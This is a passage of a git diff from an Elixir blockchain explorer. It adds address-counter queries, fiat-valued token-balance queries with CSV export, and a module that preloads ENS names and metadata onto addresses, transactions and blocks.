@moduledoc """ + Functions related to Explorer.Chain.Address counters + """ + import Ecto.Query, only: [from: 2, limit: 2, select: 3, union_all: 2, where: 3] + + import Explorer.Chain, + only: [select_repo: 1, wrapped_union_subquery: 1] + + alias Explorer.{Chain, PagingOptions, Repo} + + alias Explorer.Chain.Cache.Counters.{ + AddressTabsElementsCount, + AddressTokenTransfersCount, + AddressTransactionsCount, + AddressTransactionsGasUsageSum + } + + alias Explorer.Chain.{ + Address, + Address.CurrentTokenBalance, + Block, + Hash, + InternalTransaction, + Log, + TokenTransfer, + Transaction, + Withdrawal + } + + alias Explorer.Chain.Beacon.Deposit, as: BeaconDeposit + alias Explorer.Chain.Celo.ElectionReward, as: CeloElectionReward + + require Logger + + @typep counter :: non_neg_integer() | nil + + @counters_limit 51 + @types [ + :validations, + :transactions, + :token_transfers, + :token_balances, + :logs, + :withdrawals, + :internal_transactions, + :beacon_deposits + ] + @transactions_types [:transactions_from, :transactions_to, :transactions_contract] + + defp address_hash_to_logs_query(address_hash) do + from(l in Log, where: l.address_hash == ^address_hash) + end + + defp address_hash_to_validated_blocks_query(address_hash) do + from(b in Block, where: b.miner_hash == ^address_hash) + end + + def check_if_validated_blocks_at_address(address_hash, options \\ []) do + select_repo(options).exists?(address_hash_to_validated_blocks_query(address_hash)) + end + + def check_if_logs_at_address(address_hash, options \\ []) do + select_repo(options).exists?(address_hash_to_logs_query(address_hash)) + end + + def check_if_token_transfers_at_address(address_hash, options \\ []) do + select_repo(options).exists?(from(tt in TokenTransfer, where: tt.from_address_hash == ^address_hash)) || + select_repo(options).exists?(from(tt in TokenTransfer, where: tt.to_address_hash == ^address_hash)) + end + + def check_if_tokens_at_address(address_hash, options \\ []) do + select_repo(options).exists?(address_hash_to_token_balances_query(address_hash)) + end + + @spec check_if_withdrawals_at_address(Hash.Address.t()) :: boolean() + def check_if_withdrawals_at_address(address_hash, options \\ []) do + address_hash + |> Withdrawal.address_hash_to_withdrawals_unordered_query() + |> select_repo(options).exists?() + end + + def address_hash_to_transaction_count_query(address_hash) do + dynamic = Transaction.where_transactions_to_from(address_hash) + + Transaction + |> where([transaction], ^dynamic) + end + + @spec address_hash_to_transaction_count(Hash.Address.t()) :: non_neg_integer() + def address_hash_to_transaction_count(address_hash) do + query = address_hash_to_transaction_count_query(address_hash) + + Repo.aggregate(query, :count, :hash, timeout: :infinity) + end + + @spec address_to_transaction_count(Address.t()) :: non_neg_integer() + def address_to_transaction_count(address) do + address_hash_to_transaction_count(address.hash) + end + + @doc """ + Counts the number of `t:Explorer.Chain.Block.t/0` validated by the address with the given `hash`. + """ + @spec address_to_validation_count(Hash.Address.t(), [Chain.api?()]) :: non_neg_integer() + def address_to_validation_count(hash, options) do + query = from(block in Block, where: block.miner_hash == ^hash, select: fragment("COUNT(*)")) + + select_repo(options).one(query) + end + + @doc """ + Calculates the total gas used by incoming transactions to a given address. + + This function queries the database for all transactions where the + `to_address_hash` matches the provided `address_hash`, and sums up the + `gas_used` for these transactions. + + ## Parameters + - `address_hash`: The address hash to query for incoming transactions. + + ## Returns + - The total gas used by incoming transactions, or `nil` if no transactions + are found or if the sum is null. + """ + @spec address_to_incoming_transaction_gas_usage(Hash.Address.t()) :: Decimal.t() | nil + def address_to_incoming_transaction_gas_usage(address_hash) do + to_address_query = + from( + transaction in Transaction, + where: transaction.to_address_hash == ^address_hash + ) + + Repo.aggregate(to_address_query, :sum, :gas_used, timeout: :infinity) + end + + @doc """ + Calculates the total gas used by outgoing transactions from a given address. + + This function queries the database for all transactions where the + `from_address_hash` matches the provided `address_hash`, and sums up the + `gas_used` for these transactions. + + ## Parameters + - `address_hash`: the address to query. + + ## Returns + - The total gas used, or `nil` if no transactions are found or if the sum is null. + """ + @spec address_to_outcoming_transaction_gas_usage(Hash.Address.t()) :: Decimal.t() | nil + def address_to_outcoming_transaction_gas_usage(address_hash) do + to_address_query = + from( + transaction in Transaction, + where: transaction.from_address_hash == ^address_hash + ) + + Repo.aggregate(to_address_query, :sum, :gas_used, timeout: :infinity) + end + + def address_to_token_transfer_count_query(address_hash) do + from( + token_transfer in TokenTransfer, + where: token_transfer.to_address_hash == ^address_hash, + or_where: token_transfer.from_address_hash == ^address_hash + ) + end + + @spec address_to_token_transfer_count(Address.t()) :: non_neg_integer() + def address_to_token_transfer_count(address) do + query = address_to_token_transfer_count_query(address.hash) + + Repo.aggregate(query, :count, timeout: :infinity) + end + + def address_hash_to_token_balances_query(address_hash) do + from( + tb in CurrentTokenBalance, + where: tb.address_hash == ^address_hash, + where: tb.value > 0 + ) + end + + @doc """ + Calculates the total gas usage for a given address. + + This function determines the appropriate gas usage calculation based on the + address type: + + - For smart contracts (excluding EOAs with code), it first checks the gas + usage of incoming transactions. If there are no incoming transactions or + their gas usage is zero, it falls back to the gas usage of outgoing + transactions. + - For regular addresses and EOAs with code, it calculates the gas usage of + outgoing transactions. + + ## Parameters + - `address`: The address to calculate gas usage for. + + ## Returns + - The total gas usage for the address. + - `nil` if no relevant transactions are found or if the sum is null. + """ + @spec address_to_gas_usage_count(Address.t()) :: Decimal.t() | nil + def address_to_gas_usage_count(address) do + if Address.smart_contract?(address) and not Address.eoa_with_code?(address) do + incoming_transaction_gas_usage = address_to_incoming_transaction_gas_usage(address.hash) + + cond do + !incoming_transaction_gas_usage -> + address_to_outcoming_transaction_gas_usage(address.hash) + + Decimal.compare(incoming_transaction_gas_usage, 0) == :eq -> + address_to_outcoming_transaction_gas_usage(address.hash) + + true -> + incoming_transaction_gas_usage + end + else + address_to_outcoming_transaction_gas_usage(address.hash) + end + end + + defp address_hash_to_internal_transactions_limited_count_query(address_hash) do + query_to_address_hash_wrapped = + InternalTransaction + |> InternalTransaction.where_nonpending_block() + |> InternalTransaction.where_address_fields_match(address_hash, :to_address_hash) + |> InternalTransaction.where_is_different_from_parent_transaction() + |> limit(@counters_limit) + |> wrapped_union_subquery() + + query_from_address_hash_wrapped = + InternalTransaction + |> InternalTransaction.where_nonpending_block() + |> InternalTransaction.where_address_fields_match(address_hash, :from_address_hash) + |> InternalTransaction.where_is_different_from_parent_transaction() + |> limit(@counters_limit) + |> wrapped_union_subquery() + + query_created_contract_address_hash_wrapped = + InternalTransaction + |> InternalTransaction.where_nonpending_block() + |> InternalTransaction.where_address_fields_match(address_hash, :created_contract_address_hash) + |> InternalTransaction.where_is_different_from_parent_transaction() + |> limit(@counters_limit) + |> wrapped_union_subquery() + + query_to_address_hash_wrapped + |> union_all(^query_from_address_hash_wrapped) + |> union_all(^query_created_contract_address_hash_wrapped) + |> wrapped_union_subquery() + end + + defp address_hash_to_beacon_deposits_unordered_query(address_hash) do + from( + deposit in BeaconDeposit, + where: deposit.from_address_hash == ^address_hash + ) + end + + def address_counters(address, options \\ []) do + validation_count_task = + Task.async(fn -> + address_to_validation_count(address.hash, options) + end) + + Task.start_link(fn -> + transactions_count(address) + end) + + Task.start_link(fn -> + token_transfers_count(address) + end) + + Task.start_link(fn -> + gas_usage_count(address) + end) + + [ + validation_count_task + ] + |> Task.yield_many(:infinity) + |> Enum.map(fn {_task, res} -> + case res do + {:ok, result} -> + result + + {:exit, reason} -> + raise "Query fetching address counters terminated: #{inspect(reason)}" + + nil -> + raise "Query fetching address counters timed out." + end + end) + |> List.to_tuple() + end + + def transactions_count(address) do + AddressTransactionsCount.fetch(address) + end + + def token_transfers_count(address) do + AddressTokenTransfersCount.fetch(address) + end + + def gas_usage_count(address) do + AddressTransactionsGasUsageSum.fetch(address) + end + + @spec address_limited_counters(Hash.t(), Keyword.t()) :: %{atom() => counter} + def address_limited_counters(address_hash, options) do + cached_counters = + Enum.reduce(@types, %{}, fn type, acc -> + case AddressTabsElementsCount.get_counter(type, address_hash) do + {_datetime, counter, status} -> + Map.put(acc, type, {status, counter}) + + _ -> + acc + end + end) + + start = System.monotonic_time() + + validations_count_task = + configure_task( + :validations, + cached_counters, + address_hash_to_validated_blocks_query(address_hash), + address_hash, + options + ) + + transactions_from_count_task = + run_or_ignore(cached_counters[:transactions], :transactions_from, address_hash, fn -> + result = + Transaction + |> where([t], t.from_address_hash == ^address_hash) + |> Transaction.not_dropped_or_replaced_transactions() + |> select([t], t.hash) + |> limit(@counters_limit) + |> select_repo(options).all() + + stop = System.monotonic_time() + diff = System.convert_time_unit(stop - start, :native, :millisecond) + + Logger.info("Time consumed for transactions_from_count_task for #{address_hash} is #{diff}ms") + + AddressTabsElementsCount.save_transactions_counter_progress(address_hash, %{ + transactions_types: [:transactions_from], + transactions_from: result + }) + + AddressTabsElementsCount.drop_task(:transactions_from, address_hash) + + {:transactions_from, result} + end) + + transactions_to_count_task = + run_or_ignore(cached_counters[:transactions], :transactions_to, address_hash, fn -> + result = + Transaction + |> where([t], t.to_address_hash == ^address_hash) + |> Transaction.not_dropped_or_replaced_transactions() + |> select([t], t.hash) + |> limit(@counters_limit) + |> select_repo(options).all() + + stop = System.monotonic_time() + diff = System.convert_time_unit(stop - start, :native, :millisecond) + + Logger.info("Time consumed for transactions_to_count_task for #{address_hash} is #{diff}ms") + + AddressTabsElementsCount.save_transactions_counter_progress(address_hash, %{ + transactions_types: [:transactions_to], + transactions_to: result + }) + + AddressTabsElementsCount.drop_task(:transactions_to, address_hash) + + {:transactions_to, result} + end) + + transactions_created_contract_count_task = + run_or_ignore(cached_counters[:transactions], :transactions_contract, address_hash, fn -> + result = + Transaction + |> where([t], t.created_contract_address_hash == ^address_hash) + |> Transaction.not_dropped_or_replaced_transactions() + |> select([t], t.hash) + |> limit(@counters_limit) + |> select_repo(options).all() + + stop = System.monotonic_time() + diff = System.convert_time_unit(stop - start, :native, :millisecond) + + Logger.info("Time consumed for transactions_created_contract_count_task for #{address_hash} is #{diff}ms") + + AddressTabsElementsCount.save_transactions_counter_progress(address_hash, %{ + transactions_types: [:transactions_contract], + transactions_contract: result + }) + + AddressTabsElementsCount.drop_task(:transactions_contract, address_hash) + + {:transactions_contract, result} + end) + + token_transfers_count_task = + configure_task( + :token_transfers, + cached_counters, + address_to_token_transfer_count_query(address_hash), + address_hash, + options + ) + + token_balances_count_task = + configure_task( + :token_balances, + cached_counters, + address_hash_to_token_balances_query(address_hash), + address_hash, + options + ) + + logs_count_task = + configure_task( + :logs, + cached_counters, + address_hash_to_logs_query(address_hash), + address_hash, + options + ) + + withdrawals_count_task = + configure_task( + :withdrawals, + cached_counters, + Withdrawal.address_hash_to_withdrawals_unordered_query(address_hash), + address_hash, + options + ) + + internal_transactions_count_task = + configure_task( + :internal_transactions, + cached_counters, + address_hash_to_internal_transactions_limited_count_query(address_hash), + address_hash, + options + ) + + celo_election_rewards_count_task = + if Application.get_env(:explorer, :chain_type) == :celo do + configure_task( + :celo_election_rewards, + cached_counters, + CeloElectionReward.address_hash_to_rewards_query(address_hash), + address_hash, + options + ) + else + nil + end + + beacon_deposits_count_task = + if Application.get_env(:explorer, :chain_type) == :ethereum do + configure_task( + :beacon_deposits, + cached_counters, + address_hash_to_beacon_deposits_unordered_query(address_hash), + address_hash, + options + ) + end + + map = + [ + validations_count_task, + transactions_from_count_task, + transactions_to_count_task, + transactions_created_contract_count_task, + token_transfers_count_task, + token_balances_count_task, + logs_count_task, + withdrawals_count_task, + internal_transactions_count_task, + celo_election_rewards_count_task, + beacon_deposits_count_task + ] + |> Enum.reject(&is_nil/1) + |> Task.yield_many(:timer.seconds(1)) + |> Enum.reduce( + Map.merge(prepare_cache_values(cached_counters), %{transactions_types: [], transactions_hashes: []}), + fn {task, res}, acc -> + case res do + {:ok, {transactions_type, transactions_hashes}} when transactions_type in @transactions_types -> + acc + |> (&Map.put(&1, :transactions_types, [transactions_type | &1[:transactions_types]])).() + |> (&Map.put(&1, :transactions_hashes, &1[:transactions_hashes] ++ transactions_hashes)).() + + {:ok, {type, counter}} -> + Map.put(acc, type, counter) + + {:exit, reason} -> + Logger.warning(fn -> + [ + "Query fetching address counters for #{address_hash} terminated: #{inspect(reason)}" + ] + end) + + acc + + nil -> + Logger.warning(fn -> + [ + "Query fetching address counters for #{address_hash} timed out." + ] + end) + + Task.ignore(task) + + acc + end + end + ) + |> process_transactions_counter() + + map + end + + defp run_or_ignore({ok, _counter}, _type, _address_hash, _fun) when ok in [:up_to_date, :limit_value], do: nil + + defp run_or_ignore(_, type, address_hash, fun) do + if !AddressTabsElementsCount.get_task(type, address_hash) do + AddressTabsElementsCount.set_task(type, address_hash) + + Task.async(fun) + end + end + + defp configure_task(counter_type, cache, query, address_hash, options) do + address_hash = to_string(address_hash) + start = System.monotonic_time() + + run_or_ignore(cache[counter_type], counter_type, address_hash, fn -> + result = + query + |> count(options, counter_type) + + stop = System.monotonic_time() + diff = System.convert_time_unit(stop - start, :native, :millisecond) + + Logger.info("Time consumed for #{counter_type} counter task for #{address_hash} is #{diff}ms") + + AddressTabsElementsCount.set_counter(counter_type, address_hash, result) + AddressTabsElementsCount.drop_task(counter_type, address_hash) + + {counter_type, result} + end) + end + + defp count(query, options, :internal_transactions) do + query + |> select_repo(options).all() + |> InternalTransaction.deduplicate_and_trim_internal_transactions(%PagingOptions{page_size: @counters_limit}) + |> Enum.count() + end + + defp count(query, options, _counter_type) do + query + |> limit(@counters_limit) + |> select_repo(options).aggregate(:count) + end + + defp process_transactions_counter( + %{transactions_types: [_ | _] = transactions_types, transactions_hashes: hashes} = map + ) do + counter = hashes |> Enum.uniq() |> Enum.count() |> min(@counters_limit) + + if Enum.count(transactions_types) == 3 || counter == @counters_limit do + map |> Map.put(:transactions, counter) + else + map + end + end + + defp process_transactions_counter(map), do: map + + defp prepare_cache_values(cached_counters) do + Enum.reduce(cached_counters, %{}, fn + {k, {_, counter}}, acc -> + Map.put(acc, k, counter) + + {k, v}, acc -> + Map.put(acc, k, v) + end) + end + + @doc """ + Returns all possible transactions type + """ + @spec transactions_types :: list(atom) + def transactions_types, do: @transactions_types + + @doc """ + Returns max counter value + """ + @spec counters_limit :: integer() + def counters_limit, do: @counters_limit +end diff --git a/apps/explorer/lib/explorer/chain/address/current_token_balance.ex b/apps/explorer/lib/explorer/chain/address/current_token_balance.ex index 03513580baf6..a692f5d7af62 100644 --- a/apps/explorer/lib/explorer/chain/address/current_token_balance.ex +++ b/apps/explorer/lib/explorer/chain/address/current_token_balance.ex @@ -9,10 +9,13 @@ defmodule Explorer.Chain.Address.CurrentTokenBalance do use Explorer.Schema import Ecto.Changeset - import Ecto.Query, only: [from: 2, limit: 2, offset: 2, order_by: 3, preload: 2] + import Ecto.Query, only: [from: 2, limit: 2, offset: 2, order_by: 3, preload: 2, dynamic: 2] + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] + import Explorer.Chain.SmartContract.Proxy.Models.Implementation, only: [proxy_implementations_association: 0] alias Explorer.{Chain, PagingOptions, Repo} - alias Explorer.Chain.{Address, Block, Hash, Token} + alias Explorer.Chain.{Address, Block, CurrencyHelper, Hash, Token} + alias Explorer.Chain.Address.TokenBalance @default_paging_options %PagingOptions{page_size: 50} @@ -23,42 +26,33 @@ defmodule Explorer.Chain.Address.CurrentTokenBalance do * `token_contract_address_hash` - The contract address hash foreign key. * `block_number` - The block's number that the transfer took place. * `value` - The value that's represents the balance. - * `token_id` - The token_id of the transferred token (applicable for ERC-1155 and ERC-721 tokens) + * `token_id` - The token_id of the transferred token (applicable for ERC-1155) * `token_type` - The type of the token """ - @type t :: %__MODULE__{ - address: %Ecto.Association.NotLoaded{} | Address.t(), - address_hash: Hash.Address.t(), - token: %Ecto.Association.NotLoaded{} | Token.t(), - token_contract_address_hash: Hash.Address, - block_number: Block.block_number(), - max_block_number: Block.block_number(), - inserted_at: DateTime.t(), - updated_at: DateTime.t(), - value: Decimal.t() | nil, - token_id: non_neg_integer() | nil, - token_type: String.t() - } - - schema "address_current_token_balances" do + typed_schema "address_current_token_balances" do field(:value, :decimal) - field(:block_number, :integer) - field(:max_block_number, :integer, virtual: true) + field(:block_number, :integer) :: Block.block_number() + field(:max_block_number, :integer, virtual: true) :: Block.block_number() field(:value_fetched_at, :utc_datetime_usec) field(:token_id, :decimal) - field(:token_type, :string) + field(:token_type, :string, null: false) + field(:fiat_value, :decimal, virtual: true) + field(:distinct_token_instances_count, :integer, virtual: true) + field(:token_ids, {:array, :decimal}, virtual: true) + field(:preloaded_token_instances, {:array, :any}, virtual: true) # A transient field for deriving token holder count deltas during address_current_token_balances upserts field(:old_value, :decimal) - belongs_to(:address, Address, foreign_key: :address_hash, references: :hash, type: Hash.Address) + belongs_to(:address, Address, foreign_key: :address_hash, references: :hash, type: Hash.Address, null: false) belongs_to( :token, Token, foreign_key: :token_contract_address_hash, references: :contract_address_hash, - type: Hash.Address + type: Hash.Address, + null: false ) timestamps() @@ -73,11 +67,9 @@ defmodule Explorer.Chain.Address.CurrentTokenBalance do token_balance |> cast(attrs, @allowed_fields) |> validate_required(@required_fields) - |> foreign_key_constraint(:address_hash) - |> foreign_key_constraint(:token_contract_address_hash) end - {:ok, burn_address_hash} = Chain.string_to_address_hash("0x0000000000000000000000000000000000000000") + {:ok, burn_address_hash} = Chain.string_to_address_hash(burn_address_hash_string()) @burn_address_hash burn_address_hash @doc """ @@ -92,16 +84,31 @@ defmodule Explorer.Chain.Address.CurrentTokenBalance do """ def token_holders_ordered_by_value(token_contract_address_hash, options \\ []) do + token_contract_address_hash + |> token_holders_ordered_by_value_query_without_address_preload(options) + |> preload(address: [:names, :smart_contract, ^proxy_implementations_association()]) + end + + @doc """ + Do the same as token_holders_ordered_by_value/2, but `|> preload(:address)` removed + """ + def token_holders_ordered_by_value_query_without_address_preload(token_contract_address_hash, options \\ []) do paging_options = Keyword.get(options, :paging_options, @default_paging_options) - offset = (max(paging_options.page_number, 1) - 1) * paging_options.page_size - token_contract_address_hash - |> token_holders_query - |> preload(:address) - |> order_by([tb], desc: :value, desc: :address_hash) - |> Chain.page_token_balances(paging_options) - |> limit(^paging_options.page_size) - |> offset(^offset) + case paging_options do + %PagingOptions{key: {0, _}} -> + [] + + _ -> + offset = (max(paging_options.page_number, 1) - 1) * paging_options.page_size + + token_contract_address_hash + |> token_holders_query + |> order_by([tb], desc: :value, desc: :address_hash) + |> Chain.page_token_balances(paging_options) + |> limit(^paging_options.page_size) + |> offset(^offset) + end end @doc """ @@ -117,15 +124,19 @@ defmodule Explorer.Chain.Address.CurrentTokenBalance do """ def token_holders_1155_by_token_id(token_contract_address_hash, token_id, options \\ []) do paging_options = Keyword.get(options, :paging_options, @default_paging_options) - offset = (max(paging_options.page_number, 1) - 1) * paging_options.page_size - token_contract_address_hash - |> token_holders_by_token_id_query(token_id) - |> preload(:address) - |> order_by([tb], desc: :value, desc: :address_hash) - |> Chain.page_token_balances(paging_options) - |> limit(^paging_options.page_size) - |> offset(^offset) + case paging_options do + %PagingOptions{key: {0, _}} -> + [] + + _ -> + token_contract_address_hash + |> token_holders_by_token_id_query(token_id) + |> preload(address: [:names, :smart_contract, ^proxy_implementations_association()]) + |> order_by([tb], desc: :value, desc: :address_hash) + |> Chain.page_token_balances(paging_options) + |> limit(^paging_options.page_size) + end end @doc """ @@ -144,7 +155,7 @@ defmodule Explorer.Chain.Address.CurrentTokenBalance do @doc """ Builds an `Ecto.Query` to fetch all token holders, to count it - Used in `Explorer.Chain.count_token_holders_from_token_hash/1` + Used in `Explorer.Chain.Address.CurrentTokenBalance.count_token_holders_from_token_hash/1` """ def token_holders_query_for_count(token_contract_address_hash) do from( @@ -155,30 +166,75 @@ defmodule Explorer.Chain.Address.CurrentTokenBalance do ) end + def fiat_value_query do + dynamic([ctb, t], ctb.value * t.fiat_value / fragment("10 ^ ?", t.decimals)) + end + + @doc """ + Builds an `t:Ecto.Query.t/0` to fetch the current token balances of the given addresses (include unfetched). + """ + def last_token_balances_include_unfetched(address_hashes) do + fiat_balance = fiat_value_query() + + from( + ctb in __MODULE__, + where: ctb.address_hash in ^address_hashes, + left_join: t in assoc(ctb, :token), + on: ctb.token_contract_address_hash == t.contract_address_hash, + preload: [token: t], + select: ctb, + select_merge: ^%{fiat_value: fiat_balance} + ) + end + @doc """ Builds an `t:Ecto.Query.t/0` to fetch the current token balances of the given address. """ - def last_token_balances(address_hash) do + def last_token_balances(address_hash, type \\ []) + + def last_token_balances(address_hash, types) when is_list(types) and types != [] do + fiat_balance = fiat_value_query() + + from( + ctb in __MODULE__, + where: ctb.address_hash == ^address_hash, + where: ctb.value > 0, + left_join: t in assoc(ctb, :token), + on: ctb.token_contract_address_hash == t.contract_address_hash, + preload: [token: t], + where: t.type in ^types, + select: ctb, + select_merge: ^%{fiat_value: fiat_balance}, + order_by: ^[desc_nulls_last: fiat_balance], + order_by: [desc: ctb.value, desc: ctb.id] + ) + end + + def last_token_balances(address_hash, _) do + fiat_balance = fiat_value_query() + from( ctb in __MODULE__, where: ctb.address_hash == ^address_hash, where: ctb.value > 0, - left_join: t in Token, + left_join: t in assoc(ctb, :token), on: ctb.token_contract_address_hash == t.contract_address_hash, - preload: :token, - select: {ctb, t}, - order_by: [desc: ctb.value, asc: t.type, asc: t.name] + preload: [token: t], + select: ctb, + select_merge: ^%{fiat_value: fiat_balance}, + order_by: ^[desc_nulls_last: fiat_balance], + order_by: [desc: ctb.value, desc: ctb.id] ) end @doc """ Builds an `t:Ecto.Query.t/0` to fetch the current token balances of the given address (paginated version). """ - def last_token_balances(address_hash, options) do + def last_token_balances(address_hash, options, type) do paging_options = Keyword.get(options, :paging_options, @default_paging_options) address_hash - |> last_token_balances() + |> last_token_balances(type) |> limit(^paging_options.page_size) end @@ -257,4 +313,45 @@ defmodule Explorer.Chain.Address.CurrentTokenBalance do where: tb.value > 0 ) end + + @spec count_token_holders_from_token_hash(Hash.Address.t()) :: non_neg_integer() + def count_token_holders_from_token_hash(contract_address_hash) do + query = + from(ctb in __MODULE__.token_holders_query_for_count(contract_address_hash), + select: fragment("COUNT(DISTINCT(?))", ctb.address_hash) + ) + + Repo.one!(query, timeout: :infinity) + end + + @doc """ + Deletes all CurrentTokenBalances with given `token_contract_address_hash` and below the given `block_number`. + Used for cases when token doesn't implement balanceOf function + """ + @spec delete_placeholders_below(Hash.Address.t(), Block.block_number()) :: {non_neg_integer(), nil | [term()]} + def delete_placeholders_below(token_contract_address_hash, block_number) do + TokenBalance.delete_token_balance_placeholders_below(__MODULE__, token_contract_address_hash, block_number) + end + + @doc """ + Converts CurrentTokenBalances to CSV format. Used in `BlockScoutWeb.API.V2.CsvExportController.export_token_holders/2` + """ + @spec to_csv_format([t()], Token.t()) :: (any(), any() -> {:halted, any()} | {:suspended, any(), (any() -> any())}) + def to_csv_format(holders, token) do + row_names = [ + "HolderAddress", + "Balance" + ] + + holders_list = + holders + |> Stream.map(fn ctb -> + [ + Address.checksum(ctb.address_hash), + ctb.value |> CurrencyHelper.divide_decimals(token.decimals) |> Decimal.to_string(:xsd) + ] + end) + + Stream.concat([row_names], holders_list) + end end diff --git a/apps/explorer/lib/explorer/chain/address/metadata_preloader.ex b/apps/explorer/lib/explorer/chain/address/metadata_preloader.ex new file mode 100644 index 000000000000..1f4b1632e48a --- /dev/null +++ b/apps/explorer/lib/explorer/chain/address/metadata_preloader.ex @@ -0,0 +1,345 @@ +defmodule Explorer.Chain.Address.MetadataPreloader do + @moduledoc """ + Module responsible for preloading metadata (from BENS, Metadata microservices) to addresses. + """ + alias Ecto.Association.NotLoaded + alias Explorer.MicroserviceInterfaces.{BENS, Metadata} + + alias Explorer.Chain.{ + Address, + Address.CurrentTokenBalance, + Beacon.Deposit, + Block, + InternalTransaction, + Log, + Token.Instance, + TokenTransfer, + Transaction, + Withdrawal + } + + @type supported_types :: + Address.t() + | Block.t() + | CurrentTokenBalance.t() + | InternalTransaction.t() + | Log.t() + | TokenTransfer.t() + | Transaction.t() + | Withdrawal.t() + + @type supported_input :: [supported_types] | supported_types + + @doc """ + Preloads ENS/metadata to supported entities + """ + @spec maybe_preload_meta(supported_input, module(), (supported_input -> supported_input)) :: supported_input + def maybe_preload_meta(argument, module, function \\ &preload_ens_to_list/1) do + if module.enabled?() do + function.(argument) + else + argument + end + end + + @doc """ + Preloads ENS name to Transaction.t() + """ + @spec preload_ens_to_transaction(Transaction.t()) :: Transaction.t() + def preload_ens_to_transaction(transaction) do + [transaction_with_ens] = preload_ens_to_list([transaction]) + transaction_with_ens + end + + @doc """ + Preloads ENS name to Address.t() + """ + @spec preload_ens_to_address(Address.t()) :: Address.t() + def preload_ens_to_address(address) do + [address_with_ens] = preload_ens_to_list([address]) + address_with_ens + end + + @doc """ + Preloads ENS names to list of supported entities + """ + @spec preload_ens_to_list([supported_types]) :: [supported_types] + def preload_ens_to_list(items) do + address_hash_strings = + items + |> Enum.reduce([], fn item, acc -> + item_to_address_hash_strings(item) ++ acc + end) + |> Enum.filter(&(&1 != "")) + |> Enum.uniq() + + case BENS.ens_names_batch_request(address_hash_strings) do + {:ok, result} -> + put_ens_names(result["names"], items) + + _ -> + items + end + end + + @doc """ + Preloads metadata to list of supported entities + """ + @spec preload_metadata_to_list([supported_types]) :: [supported_types] + def preload_metadata_to_list(items) do + address_hash_strings = + items + |> Enum.flat_map(&item_to_address_hash_strings/1) + |> Enum.filter(&(&1 != "")) + |> Enum.uniq() + + case Metadata.get_addresses_tags(address_hash_strings) do + {:ok, result} -> + put_metadata(result["addresses"], items) + + _ -> + items + end + end + + @doc """ + Preloads metadata to Transaction.t() + """ + @spec preload_metadata_to_transaction(Transaction.t()) :: Transaction.t() + def preload_metadata_to_transaction(transaction) do + [transaction_with_metadata] = preload_metadata_to_list([transaction]) + transaction_with_metadata + end + + @doc """ + Preload ENS info to search result, using get_address/1 + """ + @spec preload_ens_info_to_search_results(list) :: list + def preload_ens_info_to_search_results(list) do + Enum.map(list, fn + %{type: "address", ens_info: ens_info} = search_result when not is_nil(ens_info) -> + search_result + + %{type: "address"} = search_result -> + ens_info = search_result[:address_hash] |> BENS.get_address() + Map.put(search_result, :ens_info, ens_info) + + search_result -> + search_result + end) + end + + defp item_to_address_hash_strings(nil), do: [] + + defp item_to_address_hash_strings(%Transaction{ + to_address_hash: to_address_hash, + created_contract_address_hash: created_contract_address_hash, + from_address_hash: from_address_hash, + token_transfers: token_transfers + }) do + token_transfers_addresses = + case token_transfers do + token_transfers_list when is_list(token_transfers_list) -> + List.flatten(Enum.map(token_transfers_list, &item_to_address_hash_strings/1)) + + _ -> + [] + end + + ([to_address_hash, created_contract_address_hash, from_address_hash] + |> Enum.reject(&is_nil/1) + |> Enum.map(&to_string/1)) ++ token_transfers_addresses + end + + defp item_to_address_hash_strings(%TokenTransfer{ + to_address_hash: to_address_hash, + from_address_hash: from_address_hash + }) do + [to_string(to_address_hash), to_string(from_address_hash)] + end + + defp item_to_address_hash_strings(%InternalTransaction{ + to_address_hash: to_address_hash, + from_address_hash: from_address_hash + }) do + [to_string(to_address_hash), to_string(from_address_hash)] + end + + defp item_to_address_hash_strings(%Log{address_hash: address_hash}) do + [to_string(address_hash)] + end + + defp item_to_address_hash_strings(%Withdrawal{address_hash: address_hash}) do + [to_string(address_hash)] + end + + defp item_to_address_hash_strings(%Block{miner_hash: miner_hash}) do + [to_string(miner_hash)] + end + + defp item_to_address_hash_strings(%CurrentTokenBalance{address_hash: address_hash}) do + [to_string(address_hash)] + end + + defp item_to_address_hash_strings(%Address{hash: hash}) do + [to_string(hash)] + end + + defp item_to_address_hash_strings(%Instance{owner_address_hash: owner_address_hash}) do + [to_string(owner_address_hash)] + end + + defp item_to_address_hash_strings(%Deposit{ + from_address_hash: from_address_hash, + withdrawal_address_hash: withdrawal_address_hash + }) do + if withdrawal_address_hash do + [to_string(withdrawal_address_hash), to_string(from_address_hash)] + else + [to_string(from_address_hash)] + end + end + + defp put_ens_names(names, items) do + Enum.map(items, &put_meta_to_item(&1, names, :ens_domain_name)) + end + + defp put_metadata(names, items) do + Enum.map(items, &put_meta_to_item(&1, names, :metadata)) + end + + defp put_meta_to_item( + %Transaction{ + to_address_hash: to_address_hash, + created_contract_address_hash: created_contract_address_hash, + from_address_hash: from_address_hash + } = transaction, + names, + field_to_put_info + ) do + token_transfers = + case transaction.token_transfers do + token_transfers_list when is_list(token_transfers_list) -> + Enum.map(token_transfers_list, &put_meta_to_item(&1, names, field_to_put_info)) + + other -> + other + end + + %Transaction{ + transaction + | to_address: alter_address(transaction.to_address, to_address_hash, names, field_to_put_info), + created_contract_address: + alter_address(transaction.created_contract_address, created_contract_address_hash, names, field_to_put_info), + from_address: alter_address(transaction.from_address, from_address_hash, names, field_to_put_info), + token_transfers: token_transfers + } + end + + defp put_meta_to_item( + %TokenTransfer{ + to_address_hash: to_address_hash, + from_address_hash: from_address_hash + } = tt, + names, + field_to_put_info + ) do + %TokenTransfer{ + tt + | to_address: alter_address(tt.to_address, to_address_hash, names, field_to_put_info), + from_address: alter_address(tt.from_address, from_address_hash, names, field_to_put_info) + } + end + + defp put_meta_to_item( + %InternalTransaction{ + to_address_hash: to_address_hash, + created_contract_address_hash: created_contract_address_hash, + from_address_hash: from_address_hash + } = transaction, + names, + field_to_put_info + ) do + %InternalTransaction{ + transaction + | to_address: alter_address(transaction.to_address, to_address_hash, names, field_to_put_info), + created_contract_address: + alter_address(transaction.created_contract_address, created_contract_address_hash, names, field_to_put_info), + from_address: alter_address(transaction.from_address, from_address_hash, names, field_to_put_info) + } + end + + defp put_meta_to_item(%Log{address_hash: address_hash} = log, names, field_to_put_info) do + %Log{log | address: alter_address(log.address, address_hash, names, field_to_put_info)} + end + + defp put_meta_to_item(%Withdrawal{address_hash: address_hash} = withdrawal, names, field_to_put_info) do + %Withdrawal{withdrawal | address: alter_address(withdrawal.address, address_hash, names, field_to_put_info)} + end + + defp put_meta_to_item(%Block{miner_hash: miner_hash} = block, names, field_to_put_info) do + %Block{block | miner: 